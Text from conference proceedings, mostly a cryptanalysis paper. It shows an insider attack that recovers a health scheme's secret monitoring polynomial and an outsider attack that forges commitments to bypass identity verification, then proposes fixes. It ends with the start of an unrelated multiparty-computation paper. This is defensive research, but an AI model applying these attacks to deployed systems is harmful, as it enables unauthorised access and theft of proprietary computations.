with both diabetes and cardiovascular disease. MediNet uses a reasoning engine
to make recommendations to a patient based on current and previous readings
from monitoring devices connected to the patient and on information that is
known about the patient. HealthKiosk [8] proposed a family-based healthcare
system that considers contextual information and alerting mechanisms for con-
tinuous monitoring of health conditions, where the system design of HealthKiosk
has an important entity known as sensor proxy that acts as a bridge between
the raw data sensed from the sensing device and the kiosk controller, and also
acts as a data processing unit. In [9], a taxonomy of the strategies and types of
health interventions have been discussed and implemented with mobile phones.
Lin et al. [4] proposed a cloud-assisted privacy preserving mobile health moni-
toring system to protect the privacy of users. Their scheme uses the key private
proxy re-encryption technique by which the computational cost of the users is
primarily done in the cloud server. A basic model for mobile healthcare system
is depicted in Fig. 1.

Fig. 1. A basic model for mobile healthcare system

In 2015, Guo et al. [1] proposed a scheme for verifiable privacy-preserving moni-
toring for cloud-assisted health systems. In this paper, we show that the scheme
[1] suffers from major security weaknesses, in particular, the scheme does not
provide privacy-preserving services, which is the main claim of the scheme. We
provide a mitigation for the weaknesses by modifying the scheme. The improved
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scheme retains the security and privacy claims of [1] without increasing any over-
head.
The remainder of the paper is organized as follows. Section 2 reviews the Guo
et al.’s scheme. Section 3 shows the security weaknesses of the scheme. Section 4
provides the proposed improvements. We conclude the paper in Sect. 5.

2 Guo et al.’s Scheme

Guo et al. [1] proposed a scheme, appeared in INFOCOM 2015, that claims veri-
fiable privacy-preserving service in healthcare systems. The scheme has two main
objectives - (i) privacy-preserving identity verification, and (ii) verifiable PHR
computation. The former provides secure identity verification on cloud without
revealing identity of user while later guarantees the correctness of generated
PHR. The scheme consists of four entities as follows.

– Trust Authority (TA): TA performs issuance and distributing secret and public
parameters to other entities of the scheme.

– Cloud Service Provider (CSP): CSP verifies user identity and computes health
record computation using the monitoring program f(x ) provided by the com-
pany.

– Company: Company provides health record computation to users with the
help of CSP.

– Users: Users are the consumers for their health services/records.

The scheme works as follows. A user receives a private certificate σ from TA.
After receiving σ user asks for a blind signature ψ on σ from the company. After
that the user is a registered entity for the monitoring program f(x ) and the blind
signature ψ is issued for the user. Here, f(x ) is a confidential polynomial function
and x is the user’s data generated by the user as x = (x1, x2, x3, · · · , xN ),
xi ∈ Z∗

n. To access the health records the user encrypts the vector and then
sends an encrypted vector with ψ to the CSP. User computes c = E(m), where
m is monitored raw data and E(·) is a secure encryption scheme. User then
generates proofs on σ which are used for authentication. If public verification of
given ψ is done by the CSP then it computes f(x ) on given c. After that the
CSP computes the monitoring function and gives results f(E(m)) and signature
δ to the user. User now decrypts using his secret key and checks for correctness
of f(E(m)) and δ based on monitored data m . The detailed construction of the
scheme works with the following phases.

2.1 System Setup

TA sets up the system by choosing the security parameters and the corresponding
public parameters.

1. General Setup: TA chooses a security parameter ξ and generates public para-
meters param = (n,G,G1, e), where n = pq is the order of group G, p and q
are large primes, and e is a bilinear pairing mapping.
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2. Partially Blind Signature Setup: TA issues domain public parameter (g, gs)
∈ G2, where s is a master secret key. TA selects two hash functions H :
{0, 1}∗ → G and H0 : {0, 1}∗ → Z∗

n. A signing key pair (pk, sk), where
pk = H(idc) ∈ G and sk = H(idc)s is generated by TA for the company.

3. Monitoring System Setup: TA chooses g0 ∈ G and publishes h, where h =
gp
0 ∈R Gq. TA issues σ after providing ID idA for user, where σ = g

1
s+idA . TA

gives the private key sk = q to the user.

2.2 Privacy-Preserving Identity Verification

This phase is composed of the following four sub-protocols.

1. Signature Request
(θ, φ) ← Request(g, pk, idA, w): User asks for some parameters to company for
partially blind signature ψ on σ. Before the request is sent, user and company
agree on string l ∈ {0, 1}n. Then, the company selects t ∈R Z∗

n, calculates
θ = gt, φ = H(idc)t and sends (θ, φ) to the user.

2. Partially Blind Signature Generation Process
ε′ ← BlindSign(θ, gs, φ, l, σ): User randomly chooses α, β, γ ∈R Z�

n and calcu-
lates θ′ = θα · (

gs
)γ = gαt+γs, φ′ = H(idc)α(β+t)H(l)−γ and u = α−1H0(σ ‖

φ′) + β, and sends these to the company. Then, the company calculates

ε = H(idc)s(t+u)H(l)t

and sends it back to the user, who unblinds ε by calculating ε′ = εα.

3. Commitment and Proof Generation Process
(comi, π) ← ProveGen(θ′, φ′, ε′, σ, l). CSP verifies user’s identity by using the
blind signature ψ = (θ′, φ′, ε′, σ, w) as follows.

e(e′, g)e(X,σ)e(Y, g−s)e(H(l)−1, θ′) ?= e(g, g)

where X = gidAgs and Y = φ′ · H(idc)H0(σ‖φ′).
Note that the verification of the above equation requires the identity idA of
the user along with the blind signature ψ. Therefore, if the user directly sends
the blind signature ψ to the CSP, then it reveals the correlation of idA and
the partially blind signature ε′.
Now user generates proofs for the signature and the certificate. For generation
of commitments, user chooses μi, νi ∈R Zn, i = 1, 2, 3, 4.

com1 = ε′hμ1 = H(idc)αs(t+u)H(l)αthμ1 , com′
1 = ghν1

com2 = gidA+shμ2 , com′
2 = σhν2 = g

1
s+idA hν2

com3 = φ′ · H(idc)H0(σ‖φ′)hμ3 , com′
3 = g−shν3

com4 = H(l)−1hμ4 , com′
4 = θ′hν4 = gαt+γshν4

After calculating commitment set, user builds the proof

π = Π4
1 (comih

−μi)νi(com′
i)

μi

and then sends ({comi, com′
i}4i=1, π) to the CSP for verification.
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4. Identity Verification Process
(0,1) ← Verify({comi, com′

i}4i=1, π, h, e(g, g)). CSP checks the following equal-
ity and returns 1 for successful verification, 0 for unsuccessful verification.

4∏

i=1

e(comi, com
′
i) = e(g, g)e(π, h)

2.3 Verifiable PHR Computation

After identity verification, user uploads PHR by the following steps.

1. Monitoring Program Delegation: The company delegates the monitoring pro-
gram to the cloud and then user’s PHR is computed by the cloud. The com-
pany sends the coefficient vector a = (a0, a1, · · · , ak) and string l to the cloud,
where l is used for identifying correlation program.

2. PHR Encryption: Let PHR m be an entry from data vector m =
(m1,m2, · · · , mN ),mi ∈ Zn. User chooses a set of random numbers r =
(r0, r1, · · · , rk), ri ∈ Zn. Then, the user sends r to the company. After get-
ting r , the company calculates r′ = r · a = (a0r0, a1r1, · · · , akrk). Then,
company sends hr̄ = h

∑k
i=0 r′

i and gr̄ to the user, and r̄ to the CSP, where
r̄ =

∑k
i=0 airi. User picks d ∈R Zn and generates the ciphertext of PHR as

c =
(
ghd·r0 , gmhd·r1 , gm2

hd·r2 , · · · , gmk

hd·rk

)

where each entry is computed as ci = gmi ·(hri)d. Now, user sends {c, λ,H(l)}
to the CSP, where λ = 1

(x−m)·d mod n. User also requests the company to
compute a public parameter gf(x), which later the company sends to the CSP.

3. Verifiable PHR Computation: PHR is computed as follows.

υ =
k∏

i=0

(
gmi · (hri)d

)−ai

=
k∏

i=0

g−ai·mi · h−airid = g
∑k

i=0 −ai·mi · h
∑k

i=0 −airid

= g−f(m) · h−d
∑k

i=0 r′
i

CSP computes λ′ = λ
r̄ = 1

(x−m)·d·r̄ and signature δ using gf(x) as,

δ =
(
gf(x) · υ

)λ′
=

(
gf(x)−f(m) · h−d

∑k
i=0 r′

i

) 1
(x−m)·d·r̄

= g
f(x)−f(m)

(x−m) · 1
dr̄ · h− 1

(x−m) =
(
gw(x) · h− dr̄

(x−m)

) 1
dr̄

where w(x) is a (k−1)-degree polynomial function. If f(m) is the value based
on m, then only it satisfies this condition w(x) ≡ f(x)−f(m)

(x−m) . Then, CSP sends
{υ, δ} to the user.

4. PHR Result Decryption and Verification: Using the private key sk = q the
user decrypts υ as

(
1
υ

)q

=
(
gf(m)hdr̄

)q =
(
gq

)f(m)
hdr̄q =

(
gq

)f(m) ∈ Gp.
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User can recover f(m) by computing the discrete log of
(

1
υ

)q

with base gq.

Here, f(m) is bounded by M where M is very small compared to p,q and

therefore, it is feasible to compute the discrete log of
(

1
υ

)q

.

For getting the proof on f(m), the user sends encrypted (x, f(m)) to the
company. Then, the company constructs coefficient vector w(x) as w =
(w0, w1, · · · , wk−1) and proves W = gZ , where Z =

∑k−1
i=0 wix

i and responds
to the user. Now, the user calculates (gr̄)d = gdr̄ and η = (hr̄)−d/(x−m).
Finally, the user verifies the following equation to see whether the CSP has
computed correct results or not.

e(W · η, g) ?= e(θ, gdr̄).

3 Security Weaknesses in Guo et al.’s scheme

We show two security flaws in Guo et al.’s scheme [1]. The company’s goal is
the confidentiality of the monitoring program f(x). If a malicious user obtain
f(x) then he can use it for free and he can even sell it to someone else. We note
that the company delegates the monitoring program f(x) to the CSP, with the
assumption that the computation of f(x) on patients’ PHR can be done by the
CSP without loosing the confidentiality of the monitoring program f(x). In other
words, the monitoring program f(x) should not be known to any other party
except the Company and the CSP. Furthermore, anyone can pass the identity
verification process without even communicating with the TA or company and
therefore, if a malicious user leaks H(l) to a non-user (attacker), then the attacker
can use the system with all credentials.

3.1 Insider Attack

The monitoring program is a polynomial of degree k and hence, it can be repre-
sented as a k+1 length vector, a = (a0, a1, a2, . . . , ak), where ai is the coefficient
of xi in the polynomial.

f(x) =
k∑

i=0

aix
i = a0 + a1x + a2x

2 + · · · + akxk.

The company wants to keep this vector a secret from everyone except the cloud.
Therefore, there are total k + 1 unknowns and it is easy to find values for these
unknowns if we have k + 1 linearly independent equations involving the coeffi-
cients {ai}k

i=0. An authenticated user(insider) can use the service for k+1 times
and get PHR report f(mi), where mi is the PHR sent by the user on ith time use
of the service. Using the set {(mi, f(mi))}k

i=0, the user can create the system of
equations in k+1 variable and solve it for the vector a . More concretely, assume
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that the user has the set {(mi, f(mi))}k
i=0. Then for each i ∈ {0, 1, 2, . . . , k},

we have
a0 + a1mi + a2m

2
i + · · · + akmk

i = f(mi)

Without loss of generality, we assume that these (k + 1) equations are linearly
independent (if not, then the user can always use the service until it is true). We
can represent this system of equation in terms of matrices as follows.

A =

⎡
⎢⎢⎢⎣

1 m1 . . . mk
1

1 m2 . . . mk
2

...
...

. . .
...

1 mk+1 . . . mk
k+1

⎤
⎥⎥⎥⎦ X =

⎡
⎢⎢⎢⎣
a0

a1

...
ak

⎤
⎥⎥⎥⎦ B =

⎡
⎢⎢⎢⎣
f(m1)
f(m2)

...
f(mk)

⎤
⎥⎥⎥⎦

AX = B

Solution of the above system of equations is given by

X = A−1B.

Now, the user can easily solve the above system of equation for the vector X =
(a0, a1, . . . , ak) and the user can use it to compute f(m) =

∑k
i=0 aim

i for any
PHR m. In the scheme [1], it is assumed that the degree of the polynomial is
around 10 and that makes this attack more easy. Although this attack does not
violate privacy of other users, it reveals the confidential monitoring program
f(x) of all users pertaining to the company who owns the monitoring program.
In this attack, the user obtains f(x) and thereby, computes the result of f(x)
without contacting the CSP or the Company, which reveals the confidentiality
of the monitoring program f(x).

3.2 Outsider Attack

We note that the cloud does not use any extra information other than the
commitments sent by the user and the public parameters published by TA.
This makes the process vulnerable to unauthenticated identity verification. The
attacker can choose commitments as follows.

com1 = g, com′
1 = g

com2 = g, com′
2 = g−2

com3 = g, com′
3 = g2

com4 = π, com′
4 = h, where π ∈R G

Since g and h are public parameters, the attacker does not have any trouble in
choosing these commitments and π can be any random element of the group G.
The attacker sends π and ({comi, com′

i}4i=1) to the cloud for verification. Upon
receiving the commitments from the user, the cloud verifies the equality of the
following equation.

4∏

i=1

e(comi, com
′
i) = e(g, g)e(π, h)
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Proof. We prove the equality of the above equation.
∏4

i=1 e(comi, com′
i)

= e(g, g)e(g, g−2)e(g, g2)e(π, h)
= e(g, g)e(g, g)−2e(g, g)2e(π, h)
= e(g, g)1−2+2e(π, h)
= e(g, g)e(π, h)

Therefore, anyone can pass through the identity verification process. Once the
verification is successful, the cloud allows the attacker to use the service. Here,
we assume that the attacker already has H(l) and k. The attacker follows the rest
of the process same as an authenticated user described in the previous section
and gets (υ, δ) in response from the cloud, where

υ = g−f(m)h−dr

The υ contains information about f(m) and the attacker’s aim is to get the PHR
report f(m) for the PHR m. Note that the attacker is not an authenticated user
and he does not have the secret key q and hence, can not decrypt υ. However,
the attacker can find f(m) using brute force because size of f(m) is small. Since
the attacker follows the rest of the process after identity verification, the attacker
will have d and hr. The attacker computes

υ′ = υhdr = g−f(m).

In [1], the authors have considered that values of m and f(m) are not more
than 1000. Therefore, the attacker can simply check whether υ′ is equal to g−j

for every j ∈ {0, 1, 2, . . . , 1000}. By using only 1000 iterations, the attacker can
successfully get f(m).

4 Proposed Improvements

4.1 Prevention of Insider Attack

The insider attack is possible because the attacker knows the degree k of the
polynomial. We provide a way to keep the polynomial f(x) secure by keeping
the degree of the polynomial secret.

Let m be the PHR value and user wants to get a report f(m) for it. User
chooses two random numbers r0, d ∈ Zn and a random prime p1. User computes
m′ = m+p1 and sends (r0, d,m′) to the company. The Fig. 2 reflects the changes
suggested for preventing the observed insider attack in Guo et al.’s scheme.

After receiving (r0, d,m′), the company generates k random integers
r1, r2, . . . , rk ∈ Zn using r0. Company calculates

r′ = r .a = (a0r0, a1r1, . . . , akrk)

and
c = (ghdr0 , gm′

hdr1 , gm′2
hdr2 , . . . , gm′k

hdrk).
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Fig. 2. Prevention of insider attack: changes between Original and Modified schemes

Company sends (hr̄, gr̄) to the user and (r̄, c) to the cloud, where r̄ =
∑k

i=0 airi.
User selects a random point x ∈ Zn and computes λ = 1

x−m′ d. User sends x

to the company and (λ,H(l)) to the cloud. Company computes gf(x) and sends
it to the cloud. Upon receiving (λ,H(l)) from user and (r̄, c, gf(x)) from the
company, the cloud computes υ and δ. Everything remains same except that c is
encryption of m′ instead of m. After decrypting υ, user gets f(m′) = f(m+ p1).
For sufficiently large value of p1, we have f(m + p1) mod p1 = f(m). The
verification process remains same. Since the user does not know the degree k,
the user can not retrieve coefficients of the polynomial f(x).

4.2 Prevention of Outsider Attack

We modify the scheme in such a way that only registered user can use the service
to get PHR report f(m) for a given PHR m. Note that the cloud computes f(m)
only after successful identity verification process. After generation of the blind
signature, the company and the cloud agree on some random number z ∈R Zp∗

and a timestamp tm. Then, the company computes g1 = gH(tm‖z) and sends g1
with ε to the user. The Figs. 3 and 4 reflect the changes suggested for preventing
the observed outsider attack in Guo et al.’s scheme.

After receiving {g1, ε} the user computes commitments. Except com2 all other
commitments remain same. We modify com2 as follows:

com2 = gidA+s
1 hμ2

Now, based on this modification, user computes the proof

π =
4∏

i=1

(comih
−μi)νi(com′

i)
μi
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Fig. 3. Prevention of outsider attack: changes shown in Blind signature

and sends ({comi, com′
i}4i=1, π) to the cloud for verification. During the identity

verification process, the cloud verifies the equality of following equation and
returns 1 for successful verification and 0 for unsuccessful verification.

4∏

i=1

e(comi, com
′
i) = e(g1, g)e(π, h).

Correctness:

4∏

i=1

e(comi, com′
i)

= e(ε′hμ1 , ghν1)e(φ′ · H(idc)H0(σ‖φ′)hμ3 , g−shν3)

· e(H(l)−1hμ4 , gαt+γshν4)e(gidA+s
1 hμ2 , g

1
s+idA hν2)

= e(H(idc)αs(t+u)H(l)αt, g)e(φ′ · H(idc)H0(σ‖φ′), g−s)

· e(H(l)−1, gαt+γs)e(hμ1 , g)e(ε′hμ1 , hν1)e(hμ3 , g−s)

· e(φ′ · H(idc)H0(σ‖φ′)hμ3 , hν3)e(hμ4 , gαt+γs)

· e(H(l)−1hμ4), hν4)e(gidA+s
1 hμ2 , g

1
s+idA hν2)

= e(H(idc)αs(t+u), g)e(H(idc)α(β+t)+H0(σ‖φ′), g−s)

· e(H(l)αt, g)e(H(l), g)γs−αt−γse(hμ1 , g)e((ε′hμ1)ν1 , h)

· e(g−sμ3 , h)e((φ′ · H(idc)H0(σ‖φ′)hμ3)ν3 , h)e(gμ4(αt+γs), h)
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· e(H(l)−1(hμ4)ν4 , h)e(g1, g)e(g
(idA+s)ν2+

µ2
s+idA

1 , h)e(hμ2ν2 , h)

= e(g1, g)
4∏

i=1

e((comih
−μi)νi(com′

i)
μi , h) = e(g1, g)e(π, h)

Here, the attacker does not have g1, so he can not pass the identity verification
process. Without passing the verification process, the attacker can not compute
f(m) for any PHR m. We note that after the identity verification there is also a
need for message authentication (to avoid user impersonation attack) between
the company and the user in the PHR computation phase of the scheme.

Fig. 4. Prevention of outsider attack: changes shown for Identity Verification

4.3 Performance Analysis

We compare the Guo et al.’s scheme and the proposed improved scheme with
respect to the computational, storage and communication costs requirement in
the schemes. In the Table 1, k is the degree of the monitoring program f(x),
n is a public parameter, and M is the size of the message space. The Table 1
provides computational complexity of both schemes in terms of the number of
group multiplications (G), the number of integer multiplications (M) and the
number of bilinear pairing computations (E). For exponentiation of a group
element, we consider the square and multiply algorithm to count the number
of group multiplications. The improved scheme is comparable with Guo et al.’s

Table 1. Comparison of Guo et al.’s scheme and the improved scheme

Guo et al.’s scheme [1] Improved scheme

Computational cost ((3k +M + 40)log(n) + 2k +
25)G+ 6(k + 1)M + 8E

((3k +M + 40)log(n) + k + 25)G+
(5k + 7)M + 8E

Storage cost Public: 7log(n) bits

Private: (k+6)log(n) bits

Public: 7log(n) bits

Private: (k+7)log(n) bits

Communication cost (3k+33)log(n) bits (k+35)log(n) bits



Verifiable Privacy-Preserving Monitoring 335

scheme in terms of computation and storage costs and provides better efficiency
in terms of communication cost.

5 Conclusion

We have discussed a recent work on verifiable privacy-preserving service in
healthcare systems [1], appeared in INFOCOM 2015. We have shown that the
scheme does not provide privacy-preserving services, suffers from insider and
outsider attacks. We have suggested for mitigation by modifying the scheme.
The improved scheme retains the security and privacy claim without increasing
any overhead.
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Abstract. Social network analysis as a technique has been applied to
a diverse set of fields, including, organizational behavior, sociology, eco-
nomics and biology. However, for sensitive networks such as hate net-
works, trust networks and sexual networks, these techniques have been
sparsely used. This is majorly attributed to the unavailability of network
data. Anonymization is the most commonly used technique for perform-
ing privacy preserving network analysis. The process involves the pres-
ence of a trusted third party, who is aware of the complete network, and
releases a sanitized version of it. In this paper, we propose an alterna-
tive, in which, the desired analysis can be performed by the parties who
distributedly hold the network, such that: (a) no central third party is
required; (b) the topology of the underlying network is kept hidden. We
design multiparty protocols for securely performing few of the commonly
studied social network analysis algorithms, which include degree distri-
bution, closeness centrality, PageRank algorithm and K-shell decompo-
sition algorithm. The designed protocols are proven to be secure in the
presence of an arithmetic black-box extended with comparison, equality
and modulo operations.

Keywords: Social network analysis · Secure multiparty computation ·
Centrality measures

1 Introduction

Understanding the structure that emerges due to the interaction between various
social entities has intrigued many scientists. This emergent structure, known as
a social network, is observed to exhibit certain common characteristics, such as
scale free degree distribution [1], high clustering coefficient [2], community struc-
ture [3], core-periphery structure [4] and several others. The study investigating
the topological characteristics of networks is termed as social network analysis
(SNA). A study of these properties has helped infer the functional underpinnings
of several complex networks [5–7].

The behavior of individuals observed locally, when clubbed with the global
network structure, reveals the emergent collective behavior. Hence, it is the net-
work topology that allows for inferences to be made on several functional aspects
of the system. As a result, a multitude of tools, techniques and algorithms are
c© Springer International Publishing AG 2016
I. Ray et al. (Eds.): ICISS 2016, LNCS 10063, pp. 336–355, 2016.
DOI: 10.1007/978-3-319-49806-5 18
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available, which take the network structure as their input and provide a range of
inferences about the network. It is therefore important that we have the network
structure prior to applying the techniques of SNA. However, there are several
networks of interest which are not easily accessible. Firstly, the network may
be distributedly held, such that each person has a partial or local view of the
global network. This local view can hold sensitive information of the individual,
preventing her from disclosing it. An example would be that of a hate network
on a set of individuals. Nodes in such a network would comprise of individuals,
while an edge between two nodes would express the feeling of hatred between the
corresponding individuals. A hate network is the ignored counterpart of the well
studied friendship network. The underlying network is considered to be directed,
such that, a directed edge from node A to node B, denoted as (A,B), would
express person A’s hatred towards person B. In such a network, it is clear that
no individual would have knowledge of the global network. Each individual is
only aware of the directed edges that she has to other individuals in the net-
work (local view), leading to the network structure being distributedly held by
several individuals. Secondly, even if an individual/organization has the global
network, legal policies might not allow her to reveal the network. For example,
human contact network collected through a database of hospital records cannot
be disclosed publicly [8]. The current technique employed in collecting distrib-
utedly held sensitive data include surveys and interviews [9] conducted by a
trusted third party. Once the network data is obtained, it is sanitized to ensure
re-identification of the individuals is not possible. It is then released for data
analysis [10,11]. This process, known as anonymization, is believed to preserve
privacy and at the same time, allows for an inferential study to be made on the
network.

Even though anonymization is a widely opted for technique to perform SNA
on private networks, there are several studies that point to its shortcomings [12–
15]. Firstly, there have been numerous instances where sanitized data released
in public has been de-anonymized [13,16]. The released network structure data
is combined with some auxiliary information to re-identify nodes in the original
network. Secondly, during anonymization, graph structure is slightly perturbed
in order to resist re-identification attacks [17,18]. This perturbation leads to
restructuring of the original network, which might not be desirable in certain
cases. What would be ideally desired is to be able to perform the required analysis
while the network is kept hidden, since it is the results of the analysis that
we are interested in rather than learning the network structure. For example,
if it is just the average shortest path length of a hate network that we are
interested in computing, then releasing the network structure would provide
access to more than the required information. In this paper, we explore the
possibility of performing SNA on a network without having to reveal its topology.

The problem of securely computing a network parameter while keeping the
network structure hidden, can be seen as an instance of multiparty computation
(MPC). It involves designing protocols that allow a bunch of individuals to
compute a function, a network parameter in our case, while hiding each of their
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private input, which would be the distributedly held network structure. Hogg
and Adamic [19] have discussed on how MPC can be used to address the privacy
concerns of the individuals on whom the social network is knit. The idea of MPC
was first introduced by Yao [20], where he proposed a method for two millionaires
to determine who amongst them is richer, without revealing each other’s wealth.
The idea was generalized to a multiparty setting as follows: designing a protocol
to securely determine a globally known function y = F (x1, x2, . . . , xn), where xi

is the private input supplied by party Pi. Security here means that the individuals
participating in the protocol, referred to as parties, do not learn any additional
information, apart from what is computable using just their respective input and
output. MPC has been extensively applied in a myriad of problems including
computational geometry, voting, bench-marking, etc. In this paper, we provide
secure implementation of protocols that compute a network parameter without
releasing the network structure.

1.1 Our Contribution

Determining a network parameter p is modeled as securely computing a function
F (x1, x2, . . . , xn) = p, where xi is the private input provided by party Pi. The
private input of a party Pi is a graph Gi(Vi, Ei), such that G(V,E) =

⋃n
i=1 Gi =

(
⋃n

i=1 Vi,
⋃n

i=1 Ei). The graph G captures the global network, whose parameter
we are interested in computing.

The paper provides implementation details for securely computing degree
distribution, closeness centrality using Dijkstra’s algorithm, PageRank or eigen-
vector centrality using the random surfer model, and K-shell decomposition
algorithm. The designed protocols are proven to be secure in the presence of
an extended arithmetic black-box FABB , which is defined in Sect. 4. All the
proposed network parameter protocols except PageRank protocol are perfectly
secure, while PageRank protocol is statistically secure, given a perfectly secure
FABB functionality. We calculate the cost involved in each of the proposed pro-
tocols, in terms of the number of operations invoked of the FABB functionality,
which include addition, multiplication, equality/comparison and private modulo
reduction operations. The exact communication cost, computation complexity
and the number of rounds involved would depend on the implementation of the
assumed arithmetic functionality.

2 Related Work

Many recent works have focused on securely implementing graph algorithms.
Brickell and Shamatikov [21] looked at the problem of securely computing sin-
gle source shortest path and all pair shortest path. The proposed protocol is
restricted to a two party setting, where the solution is computed on the union
of the graphs held by the two parties. Moreover, the adversarial model assumed
is that of the semi-honest model. Aly et al. [22] propose a set of protocols
for securely computing shortest path problems in the multiparty setting. The
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authors propose a secure implementation of Bellman-Ford and Dijkstra’s algo-
rithm for the shortest path problem. Additionally, they consider the maximum
flow problem and propose secure implementations of the Edmonds-Karp and
Push-Relabel algorithms. In a successive work, Aly and Vyve [23] consider the
problem of securely finding the cycle with the least average cost, better known
as the minimum mean cycle problem. They also address the minimum cost flow
problem in the information theoretic model, which involves minimizing the cost
involved in sending a flow from a source node to a destination node over a graph
whose edges have a capacity metric. It also provides an efficient implementa-
tion of Dijkstra’s algorithm, which we use as a building block in this paper.
There are works that propose data oblivious algorithms, such as the one pro-
posed by Blanton et al. [24], which hide the input dependent memory access
pattern. Data oblivious algorithms for breadth-first search, single-source single-
destination shortest path, minimum spanning tree and maximum flow problems
are proposed by Blanton et al. [24].

Apart from the works that have focused on graph algorithms, the theme
of secure SNA has also been briefly studied. Keith Frikken and Philippe
Golle describe a cryptographically secure method to compute the underlying
anonymized network [25]. Here, the entire network is distributedly held by a
set of parties, such that each row in the adjacency matrix corresponds to the
input of a party. The work assumes existence of additional authorities, who take
responsibility of collecting data securely, using which they reconstruct the graph.
Another work that proposes the construction of the graph is given by Bhat et al.
[26], which is limited to the semi-honest model. The latest work in this direction
is done by Tassa and Cohen [11], where they provide a secure implementation
of an algorithm for network anonymization through clustering. The focus in all
of the above works is to determine the structure of the underlying graph while
preserving privacy. The motive of the current work is to make the required infer-
ences without revealing the network structure.

Kerschbaum and Schaad [27] propose a technique for computing the closeness
and betweenness of nodes in a distributedly held network. Their protocol assumes
a threshold homomorphic encryption scheme, like that of Paillier’s cryptosystem.
Betweenness computation, in the specific case of supply chain networks, has
been looked at by Fridgen and Garizy [28]. This is modeled for the semi-honest
parties and has less stringent a definition of privacy, as the leaked neighborhood
information is allowed for in the definition. It also relies on encryption schemes
to exchange data and is secure in the cryptographic model. Tassa and Bonchi
[29] propose a secure technique for determining the influence of a person in a
social network, by combining the network data with the activity logs of the
individuals in the network. They provide a multiparty protocol for the above,
which is limited to the semi-honest adversarial model. Even though the aim of
the paper is the same as ours, of finding influential nodes, their’s relies on the
availability of activity logs of individuals. Our approach of finding important
nodes in the network is based entirely on the network structure and relies on
the standard techniques of measuring centrality ranking of nodes. The algorithm
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used to find central nodes are application specific and hence we discuss a few of
the important ones.

3 Preliminaries

In this section, we present some basic terminologies used throughout the paper.
Section 3.1 discusses on some basic graph theoretic notation used in the paper
and Sect. 3.2 provides a brief introduction to the field of multiparty computation.

3.1 Graph Theory

A graph/network G(V,E) is an ordered pair, where V represents the set of
nodes/vertices and E represents the set of edges, which is a relation on V .
Attributing to the directional nature of the edges, a graph is sometimes also
termed as a directed graph or a directed network. A graph is said to be undirected
if (u, v) ∈ E ⇐⇒ (v, u) ∈ E for every u, v ∈ V . If a real value (called weight)
is attached with each edge, then the graph is termed as a weighted graph.

A graph G(V,E) can be represented using a square adjacency matrix A =
(aij)n×n, where aij is the ith row jth column entry of the matrix, representing
the edge between node i, j ∈ V . In case of an unweighted graph, the value
of aij = 1 if (i, j) ∈ E, otherwise aij = 0. On similar lines, we can define a
symmetric/undirected adjacency matrix and a weighted adjacency matrix. The
ith row of the adjacency matrix A is termed as the ith adjacency vector, which
is represented using the notation vi, hence A = [vi]n×1.

3.2 Multiparty Computation

The following section formalizes the basic definitions and notions that are imper-
ative to designing any secure multiparty protocol and aid in providing the rig-
orous proof for the same. The notations used here are borrowed from the com-
prehensive work written by Cramer et al. [30]. The section consists of only those
definitions and terminologies that are essential and we suggest [30] for further
reading.

An MPC protocol consists of parties P1, P2, . . . , Pn, where n is the number
of parties. Each party Pi possess a private input xi, and the parties are inter-
ested in securely computing some globally known function F (x1, x2, . . . , xn) =
(y1, y2, . . . , yn), where yi denotes the output of the protocol sent to party Pi.

Modeling Behavior of Parties and Adversary. The behavior of parties
during the execution of the protocol could be broadly classified as honest, semi-
honest, or malicious. A party is termed honest if she sincerely follows the protocol
and does not collude with any other party. A party that is not honest is said
to be corrupt. Corruption is further modeled as semi-honest or malicious, as
discussed below.
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A corrupt party is said to be semi-honest if she does not deviate from
the specified protocol. However, the party may collaborate with others and try
accessing private information, which would violate privacy of the remaining hon-
est parties. Such parties are also known as honest-but-curious because they are
honest in not deviating from the protocol but are curious to learn information
about the honest parties. A party is said to be malicious when no assumptions
are made regarding her behavior. Such a party is given the liberty to behave
arbitrarily during the protocol execution. These parties are in a sense stronger
than their counterparts in the semi-honest model and hence it is a tougher chal-
lenge to prove security in the malicious adversarial model. In order to model the
corruption of the parties, we assume the existence of a central attacker called the
adversary, who has control over all the corrupt parties. The extent of control
depends on the assumption of the adversarial model. The protocols designed
in this paper derive its security properties from the security of the extended
arithmetic functionality FABB defined in Sect. 4.

Security in MPC Protocol. The aim of a multiparty protocol is to allow the
distributed computation of a desired function while guaranteeing the security of
the protocol. To deem a protocol secure, it is required that a few conditions be
met, which include:

– Correctness: The output generated by the protocol must be the desired value
of the function F on the inputs x1, x2, . . . , xn.

– Privacy: The protocol must be designed such that a party learns nothing but
the intended result. It should be noted that, any information that the party
can gather by just using its input and output does not amount to breach in
privacy. In an ideal world, the parties have access to their private input and
the designated output. Any information that the party can deduce from the
input and output alone is termed as allowed leakage. The information that
the party gathers during the run of the protocol i.e. her view is termed as the
actual leakage. For privacy to hold, the actual leakage of the set of corrupt
parties must be within their allowed leakage.

– Robustness: Just as privacy is concerned with knowledge gained, robustness
focuses on the influence gained by a corrupt party. The influence that an
adversary gains during the execution of the protocol is called actual influ-
ence, while that possible in an ideal world is called allowed influence. Allowed
influence would include input substitution i.e. a party Pi can input x′

i to the
protocol rather than her true input xi, whereas actual influence could rep-
resent any possible deviation from the described protocol. A protocol is said
to be robust if the effect of an actual influence is obtainable from allowed
influence.

A protocol is said to be private if the information in the view of the party is
no more than the input and output of the party. Therefore, a protocol is private if
there exists an algorithm S (also known as a simulator) which inputs the allowed
leakage of the corrupt parties ({xi, yi}i∈C) and outputs the views of the set of
corrupt parties denoted by C. The values generated by the simulator are called
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the simulated values. The proof of robustness is given on similar lines as well.
A protocol π is said to be robust if there exists a simulator S which inputs the
actual influence of corrupt parties, and it outputs an equivalent allowed influence
of the corrupt parties. Generally we assume that input substitution is the only
allowed influence unless otherwise stated.

Security Models. The security of a protocol is categorized based on the behav-
ior of the adversary and on the computational power of the adversary. If a
protocol π is proven to be secure in the semi-honest adversarial model, then
it is said to be passively secure. If π assumes the malicious adversarial model,
it is said to be actively secure. Next, we differentiate the security of a proto-
col based on the computational capabilities of the adversary. If a protocol π is
proven to be secure under the assumption that the adversary is computationally
bounded with attacks that are feasible in polynomial time complexity only, we
say that the protocol is computationally secure. If π makes no assumptions about
the computational capabilities of the adversary, then the protocol is said to be
perfectly secure if the simulated values are perfectly indistinguishable from the
actual leakage, while it is said to be statistically secure if the simulated values
are statistically indistinguishable from the actual leakage.

Universal Composability Theorem. Before stating the Universal Compos-
ability (UC) theorem, we define an ideal functionality. The exact formulation
of an ideal functionality is given in terms of interactive systems, which can be
found in [30]. Intuitively, an ideal functionality F is a secure protocol with the
required input/output behavior. The actual leakage of F is precisely the allowed
leakage, and the actual influence of F is precisely the allowed influence. Hence,
